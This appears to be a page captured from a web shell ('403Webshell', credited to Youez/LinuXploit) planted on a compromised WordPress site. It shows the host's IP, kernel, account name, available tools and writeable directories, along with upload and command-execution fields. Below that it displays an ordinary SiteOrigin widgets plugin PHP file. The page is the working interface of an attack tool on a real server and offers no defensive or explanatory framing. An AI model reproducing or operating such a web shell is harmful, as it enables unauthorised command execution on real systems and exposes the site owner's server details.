403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.146
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/plugins/so-widgets-bundle/base/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/plugins/so-widgets-bundle/base/inc/less-functions.php
<?php

/**
 * Class siteorigin_lessc
 *
 * An extension to the SiteOrigin_LessC class that adds a few custom functions
 */
class SiteOrigin_Widgets_Less_Functions {

	private $widget;
	private $widget_instance;

	function __construct($widget, $widget_instance){
		$this->widget = $widget;
		$this->widget_instance = $widget_instance;
	}

	/**
	 * @param SiteOrigin_LessC $c
	 *
	 * Register less functions in a SiteOrigin_LessC object
	 */
	function registerFunctions(&$c){
		if( method_exists( $c, 'registerFunction' ) ) {
			$c->registerFunction( 'length', array($this, 'length') );
		}
	}

	/**
	 * Very basic length function that checks the length of a list. Might need some more checks for other types.
	 *
	 * @param $arg
	 *
	 * @return int
	 */
	function length($arg){
		if(empty($arg[0]) || empty($arg[2]) || $arg[0] != 'list') return 1;
		return count($arg[2]);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit